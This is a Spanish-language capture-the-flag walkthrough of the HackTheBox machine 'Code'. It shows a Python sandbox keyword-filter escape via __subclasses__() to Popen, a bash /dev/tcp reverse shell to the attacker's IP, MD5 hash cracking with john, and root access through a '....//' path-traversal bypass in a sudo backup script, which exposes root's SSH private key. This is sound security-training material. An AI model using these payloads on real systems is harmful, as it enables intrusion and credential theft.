Code – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Code” es una máquina de dificultad Fácil de la plataforma HackTheBox
. La máquina víctima se encuentra corriendo un servidor web el cual permite ejecutar código de Python
. A primera vista algunos comandos y palabras están prohibidas para evitar ejecución remota de comandos (Remote Code Execution
o RCE
). No obstante, somos capaces de bypassear estas restricciones y ejecutar comandos a nivel de sistema, ganando acceso a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales para un segundo usuario dentro de la máquina víctima. Este nuevo usuario puede correr un script personalizado de Bash
con sudo
; un script el cual crea backups/respaldos de directorios luego de aplicar una simple sanitización para prevenir un Path Traversal
en un archivo de configuración. Sin embargo, esta sanitización es aplicada sólo una vez (no es recursiva), lo cual nos permite engañar a este control y generar una copia de la llave SSH
para el usuario root
; comprometiendo así el sistema.
User / Usuario Link to heading
Empezamos buscando puertos que estén utilizando protocolo TCP
en la máquina víctima a través de un escaneo con Nmap
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.152.86
El escaneo anterior sólo registra 2 puertos abiertos: 22
SSH
y 5000
un sitio web usando HTTP
. Aplicamos así algunos scripts de reconocimiento sobre estos puertos mediante la flag -sVC
con Nmap
:
❯ sudo nmap -sVC -p22,5000 10.129.152.86
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 15:03 -03
Nmap scan report for 10.129.152.86
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.18 seconds
Del output, podemos ver que el puerto 5000
está corriendo un servidor web con HTTP
usando Gunicorn
.
Gunicorn
, also known as “Green Unicorn
”, is a Python
web server that’s used to run Python
web applications. It’s a WSGI
(Web Server Gateway Interface
) server that’s compatible with many web frameworks, including Django
and Flask
.Guinicorn
es un servidor web que utiliza Python
.Usando WhatWeb
contra el sitio web muestra exactamente el mismo output de Nmap
:
❯ whatweb -a 3 http://10.129.152.86:5000
http://10.129.152.86:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn/20.0.4], IP[10.129.152.86], JQuery[3.6.0], Script, Title[Python Code Editor]
Visitando http://10.129.152.86:5000
en un navegador de internet podemos ver un sitio web el cual nos permite ejecutar pequeños snippets de código:
Más en específico, el sitio web nos permite correr pequeños códigos de Python
.
Si tratamos de ejecutar comandos a nivel de sistema con Python
a través de un código tan simple como:
import os
os.system('id')
Obtenemos la respuesta del servidor Use of restricted keywords is not allowed.
.
Aparentemente, no podemos utilizar la función import
, independiente de la librería que queramos importar. Por ejemplo, si intento importar la función argparse
(la cual no tiene relación alguna con ejecución de comandos a nivel de sistema) obtenemos el mismo error:
Otras palabras prohibidas que hallé son open
, os
, subprocess
y read
. Por ejemplo, si tratamos de ejecutar:
print("open")
print("os")
print("subprocess")
print("read")
Incluso si esto sólo muestra mensajes, seguimos obteniendo el mismo error. Ello quiere decir que estas palabras no están permitidas, ya sean en variables, funciones, comentarios u otros elementos en el código.
Por tanto, la misión es hallar una manera de poder ejecutar código a nivel de sistema sin utilizar palabras que puedan estar prohibidas.
Buscando distintas maneras de ejecutar código de Python
encontramos este post de StackOverflow, donde dicen que podría ser posible usar:
().__class__.__base__.__subclasses__()
Si ejecutamos este código parece que funciona. Esto dado que no obtenemos ningún error (lo cual indica que no ha sido bloqueado). El código está llamando a todos las subclases object
cargadas en memoria. Es más, lo que está llamando esta función es una lista dado que si imprimimos sus valores en pantalla podemos ver que son bastantes:
print(().__class__.__base__.__subclasses__())
Returns:
Podemos así buscar por la palabra/string cess
(parte del string Subprocess
, que nos sirve para ejecutar comandos) dentro de la lista de clases:
x = [(index, j) for index, j in enumerate(().__class__.__base__.__subclasses__()) if 'cess' in j.__name__.lower()]
print(index, x, end="\n")
Este código retorna:
Tenemos CompletedProcess del módulo Subprocess de Python
. Pero éste no es del todo útil para ejecutar comandos, que es nuestro propósito.
Para ejecutar comandos podemos buscar si la función Popen
de subprocess
está disponible. Dado que la palabra open
está prohibida, buscamos por la palabra pen
en la lista de objetos cargados:
x = [(index, j) for index, j in enumerate(().__class__.__base__.__subclasses__()) if 'pen' in j.__name__.lower()]
print(index, x, end="\n")
Obteniendo así:
Obtenemos que el item número 317
de la lista es subprocess.Popen
.
Esto quiere decir que, a nivel de código, llamar el elemento de la lista:
().__class__.__base__.__subclasses__()[317]
Es totalmente equivalente a llamar a:
subprocess.Popen
Lo cual bypassea las restricciones dado que no usa palabras prohibidas.
Podemos revisar cómo ejecutar comandos a nivel de sistema con subprocess.Popen
revisando la documentación oficial de subprocess.Popen. Un simple ejemplo dado en la documentación es:
subprocess.Popen(["/usr/bin/git", "commit", "-m", "Fixes a bug."])
De vuelta a la página web, adaptamos aquel ejemplo para mandarnos una reverse shell a nuestra máquina de atacantes mediante el código:
().__class__.__base__.__subclasses__()[317](["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.56/443 0>&1"])
Donde 10.10.16.56
es nuestra IP de atacantes y 443
es el puerto en el cual nos pondremos en escucha con netcat
.
Antes de enviar y ejecutar el payload, empezamos un listener con netcat
por el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Y enviamos el payload:
Obtenemos una conexión en nuestro listener con netcat
como el usuario app-production
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.152.86] 46568
bash: cannot set terminal process group (14703): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami
whoami
app-production
Podemos leer la flag de usuario en el directorio /home/app-production
.
Antes de continuar, un detalle es que la shell obtenida para app-production
muere luego de un tiempo. Por esta razón, y para obtener una shell más estable, creamos una llave para el servicio SSH
-que estaba corriendo en la máquina víctima- en nuestra máquina de atacantes, pasamos la llave pública generada a la máquina víctima y utilizamos aquella llave para loguearnos como el usuario app-production
usando este servicio.
Primero, creamos una llave para SSH
en nuestra máquina de atacantes:
❯ ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa
Your public key has been saved in /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa.pub
The key fingerprint is:
SHA256:SIOYS5RmnA61h859diU/96xUZQ52plWc1/I27zqRHSk gunzf0x@kali
The key's randomart image is:
+---[RSA 2048]----+
| ooo .+|
|..*= . ..=|
| =* o o . . ooO|
| +.+ . o + E &o|
| + . + S o . ++=|
| o . o +o o|
| . oo |
| . .. .|
| . .o |
+----[SHA256]-----+
Donde no hemos puesto ninguna passphrase para esta llave (presionando únicamente ENTER
).
Generada la llave, copiamos la llave pública id_rsa.pub
:
❯ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkuCUKWu/iybqmHZWZeYYJ9cCJAW/xXpGY19cKU1NMyxa5wwB79b25pFRvKDU0MW7tjfSUdQXN+TzNoNX4kF9ULPNDqEZtVNRsyeYXHwuKbNEJzLKZdt15FbUhXyD7+v8cVfp+LAodxt5DX2KgiC+45Aq3wsjH4S8EOiNLOnMInqjbzOm/ErCmOmbxoxI0nfDB5gW2DZJk8Hx9A6Ei7H2q4/7N3nqDK0Zv860DruHBGAzGlmKWNOLbWKnRbsFqU9HdCo8iGk15IoDR9Ag1DD+wZwRO3+a5oKdIcKsdYdRuHPofW79/v9vHnQ4kvKFOOiWK+EzsPvqANznv8QJfZCMf gunzf0x@kali
Acto seguido, en la máquina víctima, creamos un directorio .ssh
en la ruta /home/app-production
y pasamos el contenido de la llave pública al archivo authorized_keys
dentro del directorio creado. Hacemos todo esto en una línea:
app-production@code:~$ cd /home/app-production && mkdir .ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkuCUKWu/iybqmHZWZeYYJ9cCJAW/xXpGY19cKU1NMyxa5wwB79b25pFRvKDU0MW7tjfSUdQXN+TzNoNX4kF9ULPNDqEZtVNRsyeYXHwuKbNEJzLKZdt15FbUhXyD7+v8cVfp+LAodxt5DX2KgiC+45Aq3wsjH4S8EOiNLOnMInqjbzOm/ErCmOmbxoxI0nfDB5gW2DZJk8Hx9A6Ei7H2q4/7N3nqDK0Zv860DruHBGAzGlmKWNOLbWKnRbsFqU9HdCo8iGk15IoDR9Ag1DD+wZwRO3+a5oKdIcKsdYdRuHPofW79/v9vHnQ4kvKFOOiWK+EzsPvqANznv8QJfZCMf gunzf0x@kali' >> .ssh/authorized_keys
Usamos así nuestra llave generada para SSH
y obtenemos una conexión estable:
❯ ssh -i id_rsa app-production@10.129.152.86
<SNIP>
app-production@code:~$
Root Link to heading
Además de los usuarios app-production
y root
, existe un otro usuario llamado martin
:
app-production@code:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
Buscando por archivos que pudiesen contener el nombre de este usuario (que pueda a su vez contener potenciales credenciales) con el comando grep
retorna:
app-production@code:~$ grep -ir martin /home/app-production 2>/dev/null
Binary file /home/app-production/app/instance/database.db matches
Hay una base de datos SQLite
la cual contiene potenciales credenciales para este usuario:
app-production@code:~$ file /home/app-production/app/instance/database.db
/home/app-production/app/instance/database.db: SQLite 3.x database, last written using SQLite version 3031001
Dado que SQLite
está instalado en la máquina víctima (lo cual puede ser chequeado simplemente ejecutando which sqlite3
en una terminal), leemos aquella base de datos:
app-production@code:~$ sqlite3 /home/app-production/app/instance/database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>
Y comenzamos a buscar información en esta base de datos:
sqlite> .tables
code user
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|username|VARCHAR(80)|1||0
2|password|VARCHAR(80)|1||0
Obtenemos 2 columnas; una llamada username
y otra llamada password
en una tabla llamada user
.
Extraemos su contenido:
sqlite> select username,password from user;
development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be
Tenemos contraseñas las cuales parecen estar hasheadas usando el algoritmo MD5
. Esto lo podemos intuir puesto que los hashes tienen un largo de 32
caracteres:
❯ echo -n '3de6f30c4a09c27fc71932bfc68474be' | wc -c
32
Guardamos ambos hashes en un archivo llamado sqlite_db_hashes
:
❯ cat sqlite_db_hashes
development:759b74ce43947f5f4c91aeddc3e5bad3
martin:3de6f30c4a09c27fc71932bfc68474be
E intentamos un ataque Brute Force Password Cracking
(crackear los hashes por fuerza bruta) utilizando la herramienta john
junto con el diccionario de contraseñas rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
development (development)
nafeelswordsmaster (martin)
2g 0:00:00:00 DONE (2025-03-23 17:03) 3.448g/s 9012Kp/s 9012Kc/s 9362KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Obtenemos 2 contraseñas: development
y nafeelswordsmaster
para los usuarios development
y martin
, respectivamente.
Revisamos si alguna de estas contraseñas funcionan para alguno de los usuarios en el sistema SSH
:
❯ nxc ssh 10.129.152.86 -u martin app-production -p development nafeelswordsmaster
SSH 10.129.152.86 22 10.129.152.86 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.152.86 22 10.129.152.86 [-] martin:development
SSH 10.129.152.86 22 10.129.152.86 [-] app-production:development
SSH 10.129.152.86 22 10.129.152.86 [+] martin:nafeelswordsmaster Linux - Shell access!
Obtenemos nuevas credenciales: martin:nafeelswordsmaster
.
Nos conectamos como este nuevo usuario a través de SSH
:
❯ sshpass -p 'nafeelswordsmaster' ssh -o stricthostkeychecking=no martin@10.129.152.86
<SNIP>
martin@code:~$
Revisando qué es lo que puede ejecutar este usuario con sudo
-algo que se recomienda chequear cada vez que accedamos a un nuevo usuario- podemos ejecutar un script:
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Somos capaces de ejecutar el script /usr/bin/backy.sh
con privilegios.
Revisando el script /usr/bin/backy.sh
obtenemos un simple script en Bash
:
#!/bin/bash
if ` $# -ne 1 `; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if ` ! -f "$json_file" `; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if ` "$path" == $allowed_path* `; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Este script revisa que se le pase un argumento y ejecuta un binario llamado /usr/bin/backy
, pasando a este binario un archivo JSON
. Pero tenemos algunas restricciones:
- El archivo
JSON
debe estar localizado en los directorios/var
o/home
. - El script remueve ocurrencias de
../
para evitar un ataquePath Traversal
.
Si buscamos por archivos .json
en el directorio /home
(uno de los directorios aceptados por el script) obtenemos:
martin@code:~$ find /home -name "*.json" 2>/dev/null
/home/martin/backups/task.json
Hay un archivo .json
en el directorio /home/martin/backups
.
Leyendo el contenido de este archivo muestra:
martin@code:~$ cat /home/martin/backups/task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
Sólo para revisar qué es lo que hace este script, creamos un simple archivo en la ruta /home/martin
:
martin@code:~$ mkdir test && echo 'testing backup' > test/backup_test
Para realizar estas pruebas, copiamos el contenido del archivo original /home/martin/backups/task.json
a /home/martin/task.json
y cambiamos el directorio de respaldo a nuestro directorio de prueba que acabamos de crear (en el parámetro directories_to_archive
):
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/martin/test"
],
"exclude": [
".*"
]
}
Y ejecutamos el script con sudo
pasando como argumento el archivo JSON
de prueba:
martin@code:~$ sudo /usr/bin/backy.sh /home/martin/task.json
2025/03/23 20:29:27 🍀 backy 1.2
2025/03/23 20:29:27 📋 Working with /home/martin/task.json ...
2025/03/23 20:29:27 💤 Nothing to sync
2025/03/23 20:29:27 📤 Archiving: [/home/martin/test]
2025/03/23 20:29:27 📥 To: /home/martin/backups ...
2025/03/23 20:29:27 📦
Este parece crear un comprimido el cual debería de contener respaldos de algo:
martin@code:~$ ls -la /home/martin/backups
total 24
drwxr-xr-x 2 martin martin 4096 Mar 23 20:29 .
drwxr-x--- 7 martin martin 4096 Mar 23 20:28 ..
-rw-r--r-- 1 martin martin 5879 Mar 23 20:25 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root root 184 Mar 23 20:29 code_home_martin_test_2025_March.tar.bz2
-rw-r--r-- 1 martin martin 181 Mar 23 20:25 task.json
Tenemos un nuevo archivo llamado code_home_martin_test_2025_March.tar.bz2
en /home/marin/backups
.
Extraemos/descomprimimos su contenido con tar
:
martin@code:~$ tar -xvjf /home/martin/backups/code_home_martin_test_2025_March.tar.bz2 -C /tmp
home/martin/test/
home/martin/test/backup_test
Funcionó. El script crea un directorio /tmp/home/martin/test/backup_test
con nuestro contenido generado y lo guarda en /home/martin/backups
. Por tanto, este script crea respaldos (backups) de directorio, pasando el directorio que queremos respaldar a través del archivo JSON
.
cron
removiendo archivos de respaldo en los directorios /home/martin/backups
y /tmp
. Por lo que podría ocurrir que al ejecutar tar
el archivo que queremos descomprimir ya no exista y éste retorne un error. Debemos de ejecutar los comandos previamente mostrados si esto llegase a suceder.Ahora bien, del script /usr/bin/backy.sh
una línea interesante es:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
¿Por qué? Porque remueve el string ../
para la ruta de la cual se quiere crear el respaldo. Pero no lo hace de manera recursiva. ¿Qué sucede si usamos el string ....//
? Si removemos el sub-string ../
en el string ....//
, éste se convertirá en ../
. Por ende, en el archivo .json
las líneas:
"directories_to_archive": [
"/home/app-production/app"
],
Podríamos tratar de crear un backup del directorio /root
dado que allí podrían haber archivos potencialmente útiles como llaves para SSH
del usuario root
. Para ello transformamos el archivo anterior a:
"directories_to_archive": [
"/home/app-production/app/....//....//....//root"
],
Este string, luego de la (pobre) sanitización, debería de ser convertido a:
"directories_to_archive": [
"/home/app-production/app/../../../root"
],
Por tanto, modificamos el archivo /home/martin/backups/task.json
(usando un editor como Vim
o nano
) para nuestro payload final:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app/....//....//....//root"
]
}
Donde hemos omitido la instrucción exclude: ".*"
puesto que esta instrucción parece indicarle al binario que se ejecuta qué archivos de deben omitir. La instrucción .*
posiblemente haga cuenta de excluir todos los archivos que tengan extensiones; y nosotros queremos incluir todos los archivos, no solo aquellos sin extensiones.
Podemos escribir este archivo .json
usando la misma terminal con cat
(dado que está la tarea cron
removiendo constantemente este archivo):
martin@code:~$ cat > /home/martin/backups/task.json << EOF
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/app-production/app/....//....//....//root/"
]
}
EOF
Y ejecutamos el comando con sudo
:
martin@code:~$ sudo /usr/bin/backy.sh /home/martin/backups/task.json
2025/03/23 21:15:34 🍀 backy 1.2
2025/03/23 21:15:34 📋 Working with /home/martin/backups/task.json ...
2025/03/23 21:15:34 💤 Nothing to sync
2025/03/23 21:15:34 📤 Archiving: [/home/app-production/app/../../../root]
<SNIP>
/home/app-production/app/../../../root/.ssh/id_rsa
/home/app-production/app/../../../root/.ssh/authorized_keys
/home/app-production/app/../../../root/.bash_history
/home/app-production/app/../../../root/.bashrc
Como podemos ver del output, la ruta del backup ha sido establecida a /home/app-production/app/../../../root
.
Revisamos los archivos generados, y nuestro nuevo respaldo está allí:
martin@code:~$ ls -la /home/martin/backups
total 52
drwxr-xr-x 2 martin martin 4096 Mar 23 21:13 .
drwxr-x--- 6 martin martin 4096 Mar 23 21:10 ..
-rw-r--r-- 1 martin martin 5879 Mar 23 21:10 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root root 12910 Mar 23 21:13 code_home_app-production_app_.._.._.._root_2025_March.tar.bz2
Extraemos su contenido usando tar
:
martin@code:~$ tar -xvjf /home/martin/backups/code_home_app-production_app_.._.._.._root_2025_March.tar.bz2
root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
<SNIP>
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc
Como podemos ver del output al descomprimir el contenido, tenemos una llave id_rsa
para el usuario root
. La leemos utilizando cat
:
martin@code:~$ cat ./root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
Parece ser una llave legítima para el usuario root
. Por lo que podemos usar esta llave para acceder como aquel usuario por SSH
.
Guardamos esta llave en nuestra máquina de atacantes, asignamos los permisos necesarios para utilizar esta llave (con el comando chmod 600
) y usamos la llave extraída para logearnos por medio de SSH
como root
:
❯ nvim root_id_rsa
❯ chmod 600 root_id_rsa
❯ ssh -i root_id_rsa root@10.129.152.86
<SNIP>
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)
GG. Podemos leer la flag del usuario root
en el directorio /root
; o también se puede leer del backup que habíamos previamente generado del directorio /root
.
~Happy Hacking.